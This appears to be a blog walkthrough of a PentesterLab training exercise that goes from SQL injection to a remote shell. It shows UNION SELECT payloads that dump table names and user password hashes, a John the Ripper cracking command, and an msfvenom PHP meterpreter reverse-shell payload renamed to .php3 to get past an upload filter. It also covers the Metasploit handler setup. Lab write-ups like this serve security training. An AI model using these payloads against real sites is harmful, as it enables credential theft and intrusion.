From SQL Injection to Shell

SQL Injection Basics

This guide is based on a free PentesterLabs exercise, which goes into much more detail if you’d like to be more lightly introduced to SQL injections. I’ll be skipping over the SQL tutorial and other such content. You could always check out W3 schools for a good SQL overview.

SQL injections on this level are most easily found via parameter testing. To find a promising injection point, we’ll be trying to break a SQL query on the back end to hopefully return an error. Essentially, we need to inspect the site, click around, and see if we have any interesting URLs to manipulate. We have various links and content to check out.


On the first link labeled test, we find the following URL:


The id=1 highly suggests interaction with SQL. To test this, we can add a comment line to see if an error returns. Please note, the interactions are URL encoded, which is handy to learn and keep in mind. You can use a URL decoder to view what is actually happening behind the scenes. For the URL below, I’ll show both the encoded and decoded URLs.'


We can now see a SQL error! Ultimately, we need to return information from a SQL database. In order to craft a injection properly, we need to know more about the database. First, we need to figure out how many columns are in the injection point. We can start by writing a query such as: UNION SELECT 1,2,3,4,5,6,7,8,9,10

From this, we know that we entered in either more or less columns than the database. We can keep entering in queries, lowering the columns by 1, until we get the right output. UNION SELECT 1,2,3,4


The statement works! We now know there are four columns. We now have to test each column to figure out where we can perform an injection. We can attempt to return any kind of information we want, really. We look up some database application specific queries such as @@version. This cheat sheet will be invaluable moving forward and in your future SQL injection pursuits. UNION SELECT 1,@@version,3,4


We can see the database version is 5.1.63-0. Squeeze1 refers to the Debian installation. We can use the following command to enumerate the database. Note the addition of concat, which combines strings. UNION SELECT 1,concat(table_name,':',column_name),3,4 FROM information_schema.columns


From here, we can figure out what information we need to use in our next query. As shown above, we can see the Users table, which has columns id, login, and password. We’re looking for login credentials. Given this, we can dig into that table further. UNION SELECT 1,concat(login,':',password),3,4 FROM users


We can see by this output that we an obtained the hash for the admin credentials! To get this password, we can do the easy way or the hard way. For the easy way, we can just put the hash into an online cracker and get instant results, which mainly only works for very insecure passwords, which this is. For the hard way, we can crack the password, which is much more interesting.

We can use hash-finder to figure out the hashing algorithm.


Ok so now we know we have an MD5 hash. We can use the rockyou.txt word list as a dictionary, and John the RIpper.

john --format=raw-md5 --wordlist=rockyou.txt hash


The password is P4ssw0rd. We can login to the admin page and get the following.


As we can see, there’s a “Add a new picture” link. Clicking the link gives us the following screen:


So it looks like we have a vector to upload something fun. The guide goes through using php to pass commands, however, i’ll take this a step further and get us a meterpreter shell. First off, we need a payload to upload. We can use msfvenom, pick the PHP payload, set the parameters, and create a .php3 (php doesn’t upload on the server).

msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=4444 -f raw > shell.php3


We can then upload the file to the web server. To figure out where the uploaded script is, we can find an image,  right click, view image, and see the directory /admin/uploads/<image name>. Going to the root directory we can see our script! Don’t click it yet.


We have everything setup on the server. Now we can setup our listener. Given that we used a meterpreter payload, we’ll need a meterpreter shell. Start up msfconsole by using the following:

msfdb init
service postgresql start


With msfconsole loaded, we can get the handler configured.

Use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST=


We can now click on our shell.php3 file on the web server and…


There we go! We have gone from knowing nothing about the web application or the database to having a usable meterpreter shell! To recap, we’ve went through the steps below.

  1.  Found an injection point
  2. Enumerated the database
  3. Obtained hash of admin password
  4. Cracked the password
  5. Created and uploaded a reverse tcp meterpreter payload
  6. Setup a listener on Metasploit
  7. Got a working meterpreter shell on the web host